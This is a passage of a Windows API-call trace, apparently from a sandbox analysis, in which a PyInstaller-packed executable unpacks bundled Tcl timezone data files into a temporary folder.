lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0037.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.962] GetFileType (hFile=0x10c) returned 0x1 [0037.962] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.962] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.962] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.962] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.962] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.962] CloseHandle (hObject=0x10c) returned 1 [0037.962] GetLastError () returned 0x0 [0037.962] SetLastError (dwErrCode=0x0) [0037.962] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0037.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.962] GetFileType (hFile=0x10c) returned 0x1 [0037.962] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.962] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.963] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.963] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.963] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.963] CloseHandle (hObject=0x10c) returned 1 [0037.963] GetLastError () returned 0x0 [0037.963] SetLastError (dwErrCode=0x0) [0037.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmera") returned 70 [0037.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmera" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\asmera"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.963] GetLastError () returned 0x2 [0037.963] SetLastError (dwErrCode=0x2) [0037.963] GetLastError () returned 0x2 [0037.963] SetLastError (dwErrCode=0x2) [0037.963] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmera", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmera", lpFilePart=0x0) returned 0x45 [0037.963] GetLastError () returned 0x2 [0037.963] SetLastError (dwErrCode=0x2) [0037.963] GetLastError () returned 0x2 [0037.963] SetLastError (dwErrCode=0x2) [0037.963] GetLastError () returned 0x2 [0037.963] SetLastError (dwErrCode=0x2) [0037.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmera") returned 70 [0037.963] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Asmera" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\asmera"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.965] GetFileType (hFile=0x10c) returned 0x1 [0037.965] htonl (hostlong=0xb0000000) returned 0xb0 [0037.965] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.965] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0037.966] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.966] CloseHandle (hObject=0x10c) returned 1 [0037.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.967] htonl (hostlong=0x30000000) returned 0x30 [0037.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.967] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.967] GetFileType (hFile=0x10c) returned 0x1 [0037.967] htonl (hostlong=0x6b385800) returned 0x58386b [0037.967] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce86b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.967] htonl (hostlong=0x9e000000) returned 0x9e [0037.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0037.967] htonl (hostlong=0x9e000000) returned 0x9e [0037.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.967] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.967] htonl (hostlong=0xc4000000) returned 0xc4 [0037.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc4) returned 0x550600 [0037.967] htonl (hostlong=0x9e000000) returned 0x9e [0037.967] htonl (hostlong=0xc4000000) returned 0xc4 [0037.967] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.967] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.967] CloseHandle (hObject=0x10c) returned 1 [0037.967] GetLastError () returned 0x0 [0037.968] SetLastError (dwErrCode=0x0) [0037.968] GetLastError () returned 0x0 [0037.968] SetLastError (dwErrCode=0x0) [0037.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.968] GetFileType (hFile=0x10c) returned 0x1 [0037.968] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.968] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.968] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.968] CloseHandle (hObject=0x10c) returned 1 [0037.968] GetLastError () returned 0x0 [0037.968] SetLastError (dwErrCode=0x0) [0037.968] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0037.968] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.968] GetFileType (hFile=0x10c) returned 0x1 [0037.968] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.968] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.969] CloseHandle (hObject=0x10c) returned 1 [0037.969] GetLastError () returned 0x0 [0037.969] SetLastError (dwErrCode=0x0) [0037.969] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0037.969] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.969] GetFileType (hFile=0x10c) returned 0x1 [0037.969] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.969] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.969] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.969] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.969] CloseHandle (hObject=0x10c) returned 1 [0037.970] GetLastError () returned 0x0 [0037.970] SetLastError (dwErrCode=0x0) [0037.970] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bamako") returned 70 [0037.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bamako" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bamako"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.061] GetLastError () returned 0x2 [0038.061] SetLastError (dwErrCode=0x2) [0038.061] GetLastError () returned 0x2 [0038.061] SetLastError (dwErrCode=0x2) [0038.061] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bamako", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bamako", lpFilePart=0x0) returned 0x45 [0038.061] GetLastError () returned 0x2 [0038.061] SetLastError (dwErrCode=0x2) [0038.061] GetLastError () returned 0x2 [0038.061] SetLastError (dwErrCode=0x2) [0038.061] GetLastError () returned 0x2 [0038.061] SetLastError (dwErrCode=0x2) [0038.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bamako") returned 70 [0038.061] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bamako" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bamako"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.062] GetFileType (hFile=0x10c) returned 0x1 [0038.062] htonl (hostlong=0xc4000000) returned 0xc4 [0038.062] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.062] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc4, lpOverlapped=0x0) returned 1 [0038.063] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.063] CloseHandle (hObject=0x10c) returned 1 [0038.064] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.064] htonl (hostlong=0x30000000) returned 0x30 [0038.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.064] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.064] GetFileType (hFile=0x10c) returned 0x1 [0038.064] htonl (hostlong=0x9395800) returned 0x583909 [0038.064] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ce909, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.064] htonl (hostlong=0x89000000) returned 0x89 [0038.064] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0038.064] htonl (hostlong=0x89000000) returned 0x89 [0038.064] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.064] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.064] htonl (hostlong=0x8f000000) returned 0x8f [0038.064] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0038.065] htonl (hostlong=0x89000000) returned 0x89 [0038.065] htonl (hostlong=0x8f000000) returned 0x8f [0038.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.065] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.065] CloseHandle (hObject=0x10c) returned 1 [0038.065] GetLastError () returned 0x0 [0038.065] SetLastError (dwErrCode=0x0) [0038.065] GetLastError () returned 0x0 [0038.065] SetLastError (dwErrCode=0x0) [0038.065] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.065] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.065] GetFileType (hFile=0x10c) returned 0x1 [0038.065] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.065] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.065] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.065] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.065] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.065] CloseHandle (hObject=0x10c) returned 1 [0038.065] GetLastError () returned 0x0 [0038.066] SetLastError (dwErrCode=0x0) [0038.066] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.066] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.066] GetFileType (hFile=0x10c) returned 0x1 [0038.066] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.066] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.066] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.066] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, 